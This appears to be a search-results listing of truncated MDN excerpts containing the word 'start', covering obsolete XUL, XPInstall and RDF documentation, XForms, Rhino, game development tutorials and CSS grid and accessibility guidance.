starting up venkman and type "/watch-expr client.scriptmanagers", make sure to turn on "include functions". this tree should give you a pretty good idea of how it all fits together. ...
Install script template - Archive of obsolete content
rr = initinstall(software_name, plid, version); if (err != 0) { // call initinstall again in case illegal characters in plid err = initinstall(software_name, software_name, version); if (err != 0) cancelinstall(err); } //addfiles to current browser block var pluginsfolder = getfolder("plugins"); //verify disk space if(verifydiskspace(pluginsfolder, plugin_size+component_size)) { //
start installing plugin shared library reseterror(); // install the plugin shared library to the current browser's plugin directory errblock1 = addfile (plid, version, plugin_file, pluginsfolder, null); if (errblock1!=0) { logcomment("could not add " + plugin_file + " to " + pluginsfolder + ":" + errblock1); cancelinstall(errblock1); } //
start installing xpt file if this is a scriptabl...
...lse { // we have admin privileges to write to the win system directory // so we will set up dll and xpt in their new home errblock2 = addfile (plid, version, plugin_file, secondaryfolder, null); // something went wrong if errblock2 is not 0 if (errblock2!=0) { logcomment("could not add " + plugin_file + " to " + secondaryfolder + ":" + errblock2); return errblock2; } //
start installing xpt file if this is a scriptable plugin errblock2 = addfile (plid, version, component_file, secondaryfolder, null); if (errblock2!=0) { logcomment("could not add " + component_file + " to " + secondaryfolder + ":" + errblock2); return errblock2; } } return 0; // 0 means everything went well with the secondary install } function writeplidsolution() { //concatenate th...
...ribing suffix **/ function registerplid(rootkey, plidpath, plidid, dllabsolutepath, xptabsolutepath, plugindescription, vendor, productname, pluginversion, mimetype, suffix, suffixdescription) { var myregstatus = 0; winreg = getwinregistry(); if (winreg == null) { logcomment("moz registerplid: winreg == null"); return winregisnullerror; } // which root to
start from hklm, hkcu if (rootkey == hkey_local_machine) { logcomment("moz registerplid: rootkey=="+hkey_local_machine); winreg.setrootkey(winreg.hkey_local_machine); } else if (rootkey == hkey_current_user) { logcomment("moz registerplid: rootkey=="+hkey_current_user); winreg.setrootkey(winreg.hkey_current_user); } else { logcomment("moz registerplid: invalid rootkey, "+rootkey); r...
Positioning - Archive of obsolete content
the bottom-left corner of the anchor is aligned with the upper-left corner of the popup. simple alignment values positions specified as a single word string are shortcuts for the values above. the following table shows the valid values, corresponding explicit (ie, 2 word) alignment values and an example of the alignment. single word alignment values example before_
start the left side of the popup is aligned with the left side of the anchor, and the bottom of the popup is aligned along the top of the anchor. equivalent to topleft bottomleft before_end the right side of the popup is aligned with the right side of the anchor, and the bottom of the popup is aligned along the top of the anchor. equivalent to topright bottomright ...
...eft side of the popup is aligned with the left side of the anchor, and the bottom of the popup is aligned along the top of the anchor. equivalent to topleft bottomleft before_end the right side of the popup is aligned with the right side of the anchor, and the bottom of the popup is aligned along the top of the anchor. equivalent to topright bottomright after_
start the left side of the popup is aligned with the left side of the anchor, and the top of the popup is aligned along the bottom of the anchor. this value is commonly used for menu buttons. equivalent to bottomleft topleft after_end the right side of the popup is aligned with the right side of the anchor, and the top of the popup is aligned along the bottom of the anchor. equ...
...he left side of the anchor, and the top of the popup is aligned along the bottom of the anchor. this value is commonly used for menu buttons. equivalent to bottomleft topleft after_end the right side of the popup is aligned with the right side of the anchor, and the top of the popup is aligned along the bottom of the anchor. equivalent to bottomright topright
start_before the top edge of the popup is aligned with the top edge of the anchor, and the right side of the popup is aligned along the left side of the anchor. equivalent to topleft topright
start_after the bottom side of the popup is aligned with the bottom side of the anchor, and the right side of the popup is aligned along the left side of the anchor. equivalent to bottoml...
Additional Template Attributes - Archive of obsolete content
ldren, although it may do. if you did add children, they act just like the static content as if the template was present. however, it is possible to use different static content for each usage, even though the template is shared. ...
...it is also possible to be explicit about the two variables by using two attributes on the <template> element. ...
...ssible advantage is when using the simple rdf query syntax where you don't specify variables; instead you use the special 'rdf:*' syntax for the member variable and the container is implied. by using the container and member attributes, you can use specific variables instead. <hbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template container="?
start" member="?photo"> <rule> <image uri="?photo" src="?photo"/> </rule> </template> </hbox> in this example, the ?photo variable can be used instead of 'rdf:*' (although you can use either even if you specify the member variable). this may make the code clearer as to its function. we could use the container variable ?
start in the action body also. if you are using the simple syntax a...
Containment Properties - Archive of obsolete content
e> <rule> <label uri="rdf:*" value="rdf:*"/> </rule> </template> </vbox> instead of iterating over a container, this example iterates over a specific predicate. this attribute is useful when the rdf data is structured in such a way that an rdf container isn't used. the builder treats the predicate in the containment attribute as an indicator that an element is a container. if the
starting node (or ref) has that predicate as one of its triples in the rdf data, the builder will use it in addition to checking if it is a container. note the distinction here. the containment attribute doesn't replace the existing container checking. if the resource 'http://www.xulplanet.com/rdf/a' was also an rdf seq with some children, then those children would also be added to the results. this ne...
...evious example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three. three generated via the use of the containment attribute, and two generated because the
starting resource is a container with two children. effectively, the containment attribute allows you to specify additional predicates that provide children. you can specify multiple predicates in the containment attribute by separating them with spaces. each will be applied in sequence. the containment attribute also applies to member tests when using the extended template syntax. that is, in addition...
...ver the children, it will iterate over the predicates listed in the containment attribute. for example, the following is equivalent to the previous example, except that the full query syntax is used. <vbox datasources="template-guide-ex3.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <query> <content uri="?
start"/> <member container="?
start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> </template> </vbox> try this example. what happens is that the builder generates additional possible values for the ?child variable, so it creates an additional result for each one. « previousnext » ...
Multiple Rules - Archive of obsolete content
be simpler. it also allows a common technique where the last rule in a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule. ...
...n technique where the last rule in a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule. ...
...escriptionexample equalsmatch if a value equals anothermatch a specific value lessmatch if a number is less than anothermatch only negative values with one rule, positive values with another greatermatch if a number is greater than anotherdisplay values greater than 1000 differently beforematch if a value comes before another alphabetically aftermatch if a value comes after another alphabetically
startswithmatch if a value
starts with a specific string endswithmatch if a value ends with a specific string containsmatch if a value contains a substringto highlight results that contain a search term here is an example using the 'contains' operator: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"> <assign var="?letters" expr="string-length(@name)...
Special Condition Tests - Archive of obsolete content
pass, in this case, the <groupbox> the first rule will not match in this case, but the second rule will match and a label will be created. the result can be seen if you try the example. ...
... the first rule will not match in this case, but the second rule will match and a label will be created. the result can be seen if you try the example. ...
.../www.xulplanet.com/rdf/address"/> </menupopup> </rule> </template> </button> the only difference in the code in this example is that the order of the rules has been switched around, the condition check for house has been removed and the iscontainer attribute has been added. since the iscontainer attribute is set to true, the rule will match as long as the member value or child of the
starting node is an rdf container. we could also have left the rules in the original order and set the iscontainer on the first rule to false. the only thing we need to make sure is that the rules are in the proper order, so that the right data will be matched by the right rule. remember, the more specific rules should go before less specific rules. note that leaving out the iscontainer attribute is no...
Using Multiple Queries to Generate More Results - Archive of obsolete content
dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource. the first query will match the streets as before, but the second query will generate a result for each person. a header class is used to distinguish the content, although you could use exactly the same content if you wish. ...
...an then use two queries to generate results from different parts of the datasource. the first query will match the streets as before, but the second query will generate a result for each person. a header class is used to distinguish the content, although you could use exactly the same content if you wish. ...
...<template> <queryset> <query> <content uri="?
start"/> <member container="?
start" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title" class="header"/> </action> </rule> </queryset> <queryset> <query> <content uri="?
start"/> <triple subject="?
start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can vie...
Focus and Selection - Archive of obsolete content
. or, you may wish to change the current selection. xul textboxes support a way to retrieve and modify the selection. the simplest one is to select all of the text in a textbox. this involves using the select method of the textbox. tbox.select(); however, you may wish to select only part of the text. to do this you can use the setselectionrange function. it takes two parameters, the first is the
starting character and the second is the character after the last one that you want to have selected. values are zero-based, so the first character is 0, the second is 1 and so on. tbox.setselectionrange(4,8); this example will select the fifth character displayed, as well as the sixth, seventh and eighth. if there were only six characters entered into the field, only the fifth and sixth characters wo...
...ected. values are zero-based, so the first character is 0, the second is 1 and so on. tbox.setselectionrange(4,8); this example will select the fifth character displayed, as well as the sixth, seventh and eighth. if there were only six characters entered into the field, only the fifth and sixth characters would be selected. no error would occur. ...
...s would be selected. no error would occur. if you use the same value for both parameters, the
start and end of the selection changes to the same position. this results in changing the cursor position within the textbox. for example, the line below can be used to move the cursor to the beginning of the text. tbox.setselectionrange(0,0); you can retrieve the current selection by using the selection
start and selectionend properties. these properties are set to the
starting and ending positions of the current selection respectively. if both are set to the same value no text is selected, and the cursor is moved to that position. once you have the
start and end positions, you can pull out the substring from the whole text. you can retrieve and modify the contents of the textbox by using the value pr...
Window icons - Archive of obsolete content
note: this feature was removed at firefox 67. see also bug 1531836 for more details.
starting with firefox 1.5, thunderbird 1.5, and xulrunner 1.8, you can specify an icon for a xul window by putting files named mywindow.ico (for windows) and mywindow.xpm or mywindow16.xpm (linux), where mywindow is the id of the <window> you want to attach the icon to, in the chrome/icons/default subfolder of your bundle. these icons will override the global icon files, which are located in app_dir/browser/chrome/icons/default. note: the global icons override does not currently work due to bug bug 543490. ...
...ant to attach the icon to, in the chrome/icons/default subfolder of your bundle. these icons will override the global icon files, which are located in app_dir/browser/chrome/icons/default. note: the global icons override does not currently work due to bug bug 543490. global icon files currently take precedence and bundles are only searched for icons which are not provided by the application. ...
...
starting with firefox 3.0, xulrunner 3.0, thunderbird 3.0 and seamonkey 2.0 you can now specify png format icons instead of xpm format on linux. you can specify up to 4 different sizes of png icons using the suffixes .png, 16.png, 32.png and 48.png. older versions to support older applications, such as firefox 1.0, you need to copy the icons to app_dir/chrome/icons/default manually on the first
start (example code). ...
label - Archive of obsolete content
user clicks on the label, the associated element is given focus. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
... a smaller margin. text-link labels with this class may be focused and the click handler run or the address in the href attribute opened on a mouse click or enter key press. labels will appear like a link (blue and underlined). related elements description attributes label interfaces nsiaccessibleprovider, nsidomxullabelelement notes labels are not focusable note:
starting in gecko 2.0, labels are properly not focusable. they used to incorrectly inherit from nsidomxulcontrolelement. the caption is in the "value" attribute remember that the label element has a "value" attribute, unlike value in html whereas buttons, checkboxes use label="foo" as the attribute <label label="a caption"/> <!-- wrong --> <label value="a caption"/> <label value="click the button"/> ...
menu - Archive of obsolete content
he element. otherwise, events are passed to the element only. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
...etattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. removeitemat( index ) ...
menulist - Archive of obsolete content
cters that appears in the label attribute for the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed.
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right ...
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the
start and end of the text normally. none the text will be not be cropped using an ellipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none a...
...reates a new menuitem element and adds it to the end of the menulist. you may optionally set a value and description. the function returns the new item. contains( item ) return type: boolean returns true if the menulist contains the specified menuitem as one of its items. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered
starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. removeallitems() return type: no ...
preference - Archive of obsolete content
pe: boolean for boolean preferences, if this attribute is set to true, it indicates that the value of the preference is the reverse of the user interface element attached to it. for instance, checking the checkbox disables the preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.
startup.homepage. overview an onchange attribute is an event listener to the object for the event change. a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed w...
...an gets and sets the value of the inverted attribute. locked type: boolean if true, the preference has been locked and disabled in the system configuration, preventing the value from being changed. this property is read-only. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.
startup.homepage. preferences type: element reference to the containing preferences element. readonly type: boolean if set to true, then the user cannot modify the value of the element. tabindex type: integer gets and sets the value of the tabindex attribute. type type: string gets and sets the value of the ...
...node(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata events change when a preference value changes, an onchange/change event is fired on the <preference> element. you can handle this if you wish to. related preferences system documentation: introduction: getting
started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
this is by far the simplest approach. in some cases, however, you may want to use the mozilla build system to create your application. the only obvious reason for this would be if you need to implement part of your application in c++, as described in the introduction to the now classic creating custom firefox extensions with the mozilla build system. for the purposes of this article i'm using dave townsend's mccoy as an example. ...
...s run through the files one by one: makefile.in - the top-level makefile. contains the names of the subdirectories that need to be built, which at very least will include chrome and app. build.mk - maybe you thought that the --enable-application option told mozilla which directory your app is located in. wrong! it tells mozilla where to look for the build.mk file, which is what tells it where to
start building your app. don't think to hard about this, just copy mccoy's file and adapt accordingly. confvars.sh - some basic configuration options. you should be able to use the mccoy version, changing just your application name and version. makefiles.sh - you don't absolutely need this file since the build system will generate makefiles as need by walking the tree (based on the value of dirs). you ...
...in xul application packaging. in this case you can basically copy over the file as is, since once again variables are used for things like the application name and version. but you will have to change the id to something unique to your app. default-prefs.js - these are the default mozilla preferences used by xulrunner when running your app. the important ones are described in xulrunner:specifying
startup chrome window. you can add other preferences for things like debugging, as mccoy does (e.g. javascript.options.showinconsole). default.ico and default.xpm - icons for your app on windows and linux. macbuild/ - when steve jobs said "think different", we took that to heart, and not just by rejecting useless adverbial endings. we've included a whole subdirectory just for the mac. it's got a lot of...
-ms-wrap-flow - Archive of obsolete content
extension that specifies how exclusions impact inline content within block-level elements. initial valueautoapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values auto for floated elements, an exclusion is created; for all other elements, an exclusion is not created. both inline flow content can flow on all sides of the exclusion.
start inline flow content can wrap on the
start edge of the exclusion area but must leave empty the area after the end edge of the exclusion area. end inline flow content can wrap after the end edge of the exclusion area but must leave empty the area before the
start edge of the exclusion area. maximum inline flow content can wrap on the side of the exclusion with the largest available s...
... remarks the -ms-wrap-flow property makes an element an exclusion element when it has a computed value other than auto. ...
...dge of the exclusion area. maximum inline flow content can wrap on the side of the exclusion with the largest available space for the given line, and must leave empty the other side of the exclusion. clear inline flow content can only wrap on top and bottom of the exclusion and must leave empty the areas to the
start and end edges of the exclusion box. formal syntax auto | both |
start | end | maximum | clear specifications not part of any specification. remarks the -ms-wrap-flow property makes an element an exclusion element when it has a computed value other than auto. this property specifies that the exclusion element (the exclusion) can be positioned in various ways, and that inline content will wrap around the exclusion in a way similar to how it wraps around floated ...
GetObject - Archive of obsolete content
et explorer 10 standards mode, internet explorer 11 standards mode, and windows store apps or later. use the getobject function to access an automation object from a file. assign the object returned by getobject to the object variable. for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when this code is executed, the application associated with the specified pathname is
started, and the object in the specified file is activated. if pathname is a zero-length string (""), getobject returns a new object instance of the specified type. if the pathnameargument is omitted, getobject returns a currently active object of the specified type. if no object of the specified type exists, an error occurs. some applications allow you to activate part of a file. to do so, add an exc...
...the documentation for the application that created the object. for example, in a drawing application you might have multiple layers to a drawing stored in a file. you could use the following code to activate a layer within a drawing called schema.cad: var layerobject = getobject("c:\\cad\\schema.cad!layer3"); if you do not specify the object's class, automation determines which application to
start and which object to activate, based on the file name you provide. some files, however, may support more than one class of object. for example, a drawing might support three different types of objects: an application object, a drawing object, and a toolbar object, all of which are part of the same file. to specify which object in a file you want to activate, use the optional class argument. for ex...
...methods of the new object using the object variable myobject. for example: myobject.line(9, 90); myobject.inserttext(9, 100, "hello, world."); myobject.saveas("c:\\drawings\\sample.drw"); note: use the getobject function when there is a current instance of the object, or if you want to create the object with a file already loaded. if there is no current instance, and you don't want the object
started with a file loaded, use the activexobject object. if an object has registered itself as a single-instance object, only one instance of the object is created, no matter how many times activexobject is executed. with a single-instance object, getobject always returns the same instance when called with the zero-length string ("") syntax, and it causes an error if the pathname argument is omitted...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
a closer look at rhino and its importance to the javascript developer. rhino offers a unique opportunity for the javascript developer to tap into the power of java classes using javascript. armed with some basic java knowledge, you can extend javascript to include some of the most desired capability such as database access, remote web requests, and xml processing. we’ll
start by taking a look at querying a sql database. this first example we’ll demonstrate is querying a mysql database for some employee contact information. it is assumed that you have already downloaded, extracted, and consumed the necessary documentation to get up and running with some basic rhino scripts. if you don’t already have it, you’ll need to also download the j...
...here, we’re including all the classes in the java.sql namespace in the script. the appropriate database driver for mysql is loaded and the connection string to a database named rhino on my local machine is configured using the user account urhino with the password of prhino. the sql stateme...
...next a script named validatecomments.js is hooked in with the runat attribute set to both. the function defined within this file checks the form to make sure it is complete, returning a boolean. the both context it operates within is a very powerful concept as we are able to use this code to check values enter...
Developing Mozilla XForms - Archive of obsolete content
schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing. ...
...schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing. ...
...schema validation problems the schema-validation extension contains a logging facility that can show some internals on the schema processing. ...
XForms Range Element - Archive of obsolete content
introduction allows the user to choose a value from within a specific range of values (see the spec). attributes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. ...
...m within a specific range of values (see the spec). attributes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special incremental - supported, default value is false
start - lower bound of possible values end - upper bound of possible values step - is used for incrementing/decrementing values
start/end/step attributes if the value of the bound instance node is outside the range of values specified by the
start and end attributes, then the range element receives a xforms-out-of-range event. if the bound value then becomes in range, the range element receives a xforms-in-range event.
start specifies the lower bound of possible values, i.e. values can't be less than the value of this attribut...
... range element receives a xforms-in-range event.
start specifies the lower bound of possible values, i.e. values can't be less than the value of this attribute. if this attribute is omitted, then it is assumed to be 0. end specifies the upper bound of possible values, i.e. values can't be greater than the value of this attribute. if this attribute is omitted, then it is assumed to be the value of
start + 20. step specifies the step of incrementing/decrementing values. this determines how much the value of the range will be changed upon user interaction. if this attribute is omitted, then it is assumed to be the value of end -
start / 20. type restrictions the range element can be bound to a node of type xsd:duration, xsd:date, xsd:time, xsd:datetime, xsd:gyearmonth, xsd:gyear, xsd:gmonthday,...
RDF in Mozilla FAQ - Archive of obsolete content
general where do i
start? rdf serves two primary purposes in mozilla. first, it is a simple, cross-platform database for small data stores. second, and more importantly, the rdf model is used along with xul templates as an abstract "api" for displaying information. rdf in fifty words or less is a quick, high-level description of what rdf does in mozilla. the rdf back-end architecture document describes in more detail how mozilla's rdf implementation works, and gives a quick overview of the interfaces that are involved. where do i find information on open directory ("dmoz")? unfortunately, not here! well, here's a little...
start at http://www.dmoz.org/ for more information on the open directory. the open directory dataset is available as a (huge) rdf/xml dump. it describes thousands...
...er to "website" by url: this is the "key" that allows the datasources to be "merged" effectively. for a more detailed account of how to write a datasource, refer to the rdf datasource how-to. how does mozilla manage datasources? the rdf service manages a table of all loaded datasources. the table is keyed by the datasource's "uri", which is either the url of an rdf/xml file, or a "special" uri
starting with rdf: that refers to a built-in datasource. datasources may be loaded via the rdf service using the getdatasource() method. if the uri argument refers to an rdf/xml file's url, then the rdf service will create an rdf/xml datasource and asynchronously parse it. the datasource will remain "cached" until the last reference to the datasource is released. if the uri argument refers to a built...
...of datasources by specifying the datasources attribute, there are often times when you won't know the datasource that you want to add until after the xul is loaded. for example, your xul may need compute the datasources that it wants to display in an onload handler. or, it may need to add a datasource later based on some user action. here's a simple example that illustrates how to do this. let's
start with the following xul. <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> ... <tree id="my-tree" datasources="rdf:null"> ... </tree> ... </window> assuming that we've aquired a datasource somehow (e.g., like this), the following sample code illustrates how to add that datasource to the template, and then force the template to rebuild itself based on the newly a...
Game promotion - Game development
king part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from — and it will also get you involved in the community. if you make a good game for a competition and win some prizes in the process your game will automatically be promoted by the organizers and other attendees. you'll be rich and famous, or so they say. many great games get
started as a quick, sloppy demo submitted to a competition. if both the idea and the execution are good enough, you will succeed. plus competitions generally require games to follow a mandatory theme, so you can get creative around a theme if you are stuck for ideas. website and blog you should definitely create your own website containing all the information about your games, so people can see what ...
...your progress — it helps you see what you've accomplished throughout the month and what's still left to do, and it keeps reminding people that your game is coming out soon — building buzz is always good. while you can create your website from scratch, there are also tools that can help make the process easier. manakeep is a website builder made for indie game developers and provides a great
starting point to create your website. presskit() is a press kit builder that helps you create a press page to share with the media. social media your social media presence is very important — follow the right hashtags, make friends, engage in conversations, help other devs in need. honesty is key and you should be authentic, because nobody likes boring press releases or pushy advertisements. when...
...visits, and be prepared to deal with bad reviews as well as good ones. there are two options to get coverage from the youtubers: first is you contact them directly and send a link to your game via email or private message. the second is earned in time - if you're known enough the youtubers will contact you and ask for the link or build of your game. this big list of youtubers is a great place to
start. you can find youtube and twitch.tv influencers at gameinfluencer.com to help promote your game. events if you've gone through all the options listed above you can still find new, creative ways to promote your game — events are another good example. attending events, both local and global, gives you the ability to meet your fans face to face, as well as other members of the development commun...
Building up a basic demo with A-Frame - Game development
mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl. this article explains how to get up and running with a-frame, and how to use it to build up a simple demo. ...
... components to use in applications — models, video players, skyboxes, geometries, controls, animations, cursors, etc. it is based on the entity component system, which is known in the game development world, but it targets web developers with a familiar markup structure, manipulable with javascript. the end result is 3d web experiences, which are vr-enabled by default. environment setup let's
start by setting up an environment to create something with a-frame. we'll then build up a demo and run it. you should
start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome — download firefox nightly or chrome (v54 or higher). (optional) set up a vr device such as oculus rif...
...our first a-frame scene! here's how the final version looks and works: if you have a vr device available, now is a good time to try out your scene with it too. note: you can also check it out on github. that was easier than you thought, right? a-frame targets web developers by offering easy to use web markup and all the advantages that brings, such as javascript manipulation. it is easy to
start with, but also provides a powerful api for advanced concepts, as well as dealing with cross browser differences and suchlike. the community is growing, just like the number of supported vr devices — it's a great time to
start experimenting with such frameworks. ...
Building up a basic demo with Three.js - Game development
-in helper functions to help you implement common 3d functionality more quickly. in this article we'll take you through the real basics of using three, including setting up a development environment, structuring the necessary html, the fundamental objects of three, and how to build up a basic demo. note: we chose three because it is one of the most popular webgl libraries, and it is easy to get
started with. we are not trying to say it is better than any other webgl library available, and you should feel free to try another library, such as copperlicht, glge, or playcanvas. environment setup to
start developing with three.js, you don't need much. you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. create a directory to sto...
...b, with a little help from requestanimationframe(), which causes the scene to be re-rendered constantly on every frame: function render() { requestanimationframe(render); renderer.render(scene, camera); } render(); on every new frame the render function is invoked, and the renderer renders the scene and the camera. right after the function declaration, we're invoking it for the first time to
start the loop, after which it will be used indefinitely. again, add this new code below your previous additions. try saving the file and opening it in your browser. you should now see a gray window. congratulations! geometry now our scene is properly rendering, we can
start adding 3d shapes. to speed up development, three.js provides a bunch of predefined primitives, which you can use to create sha...
...the geometry itself is not enough though, we also need a material that will be used for our shape. ...
Desktop mouse and keyboard controls - Game development
ractions. keyboard the whole game can be controlled with just the keyboard and nothing else. the built in this.game.input.keyboard object manages the input from the keyboard and has a few helpful methods like addkey() and isdown(). there's also the phaser.keycode object, which contains all the available keyboard keys: in the main menu of the game we can add an extra way to begin playing. ...
...w helpful methods like addkey() and isdown(). there's also the phaser.keycode object, which contains all the available keyboard keys: in the main menu of the game we can add an extra way to begin playing. the
start button can be clicked to do so, but we can use the enter key to do the same: var keyenter = this.game.input.keyboard.addkey(phaser.keycode.enter); var keyenter.ondown.add(this.click
start, this); you can use addkey() to add any key the phaser.keycode object has to offer. the ondown() function is executed whenever the enter key is pressed — it will launch the click
start() method, which
starts a new game. it's useful to provide an option to play the game on desktop without using a mouse, so you don't have to take your hands off the keyboard. controlling the game we can support...
...tap to shoot'; } if the game is running on desktop the cursor and w a s d keys message will be shown — if not, then the mobile touch controls message will be. to skip the how to play screen, we can listen for any key being pressed and move on: this.input.keyboard.ondowncallback = function() { if(this.statestatus == 'intro') { this.hideintro(); } }; this hides the intro and
starts the actual game, without us having to set up another new key control just for this. pause and game over screens to make the game fully playable with keyboard it should be possible to go back to the main menu, continue playing, or re
start the game from the pause and game over screens. it can be done exactly the same as before — by capturing key codes and performing actions. for example, by sp...
Implementing game control mechanisms - Game development
t game using phaser tutorial. in the following articles we will show how to implement various different control mechanisms for captain rogers to support different platforms — from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or waving your hand in front of the laptop, or squeezing bananas. setting up the environment let's
start with a quick overview of the game's folder structure, javascript files and in-game states, so we know what's happening where. the game's folders look like this: as you can see there are folders for images, javascript files, fonts and sound effects. the src folder contains the javascript files split as a separate states — boot.js, preloader.js, mainmenu.js and game.js — these are loaded int...
... are loaded into the index file in this exact order. the first one initializes phaser, the second preloads all the assets, the third one controls the main menu welcoming the player, and the fourth controls the actual gameplay. every state has its own default methods: preload(), create(), and update(). ...
...ad(), create(), and update(). the first one is needed for preloading required assets, create() is executed once the state had
started, and update() is executed on every frame. for example, you can define a button in the create() function: create: function() { // ... var buttonenclave = this.add.button(10, 10, 'logo-enclave', this.clickenclave, this); // ... } it will be created once at the
start of the game, and will execute this.clickenclave() action assigned to it when clicked, but you can also use the mouse's pointer value in the update() function to make an action: update: function() { // ... if(this.game.input.mousepointer.isdown) { // do something } // ... } this will be executed whenever the mouse button is pressed, and it will be checked against the input's isdown boo...
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
when placing an item, you can then use these names instead of the line number, as demonstrated below. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707;...
...when placing an item, you can then use these names instead of the line number, as demonstrated below. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-col...
...round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1-
start] 1fr [col2-
start] 1fr [col3-
start] 1fr [cols-end]; grid-template-rows: [row1-
start] 100px [row2-
start] 100px [rows-end]; } .item { grid-column-
start: col1-
start; grid-column-end: col3-
start; grid-row-
start: row1-
start; grid-row-end: rows-end; } learn more property reference grid-template-columns grid-template-rows grid-column-
start grid-column-end grid-column grid-row-star...
CSS and JavaScript accessibility best practices - Learn web development
d javascript are accessible? css and javascript don't have the same immediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used. to put it another way, it is important that you consider some best practice advice to make sure that your use of css and javascript doesn't ruin the accessibility of your documents. css let's
start off by looking at css. correct semantics and user expectation it is possible to use css to make any html element look like anything, but this doesn't mean that you should. as we frequently mentioned in our html: a good basis for accessibility article, you should use the appropriate semantic element for the job, whenever possible. if you don't, it can cause confusion and usability issues for eve...
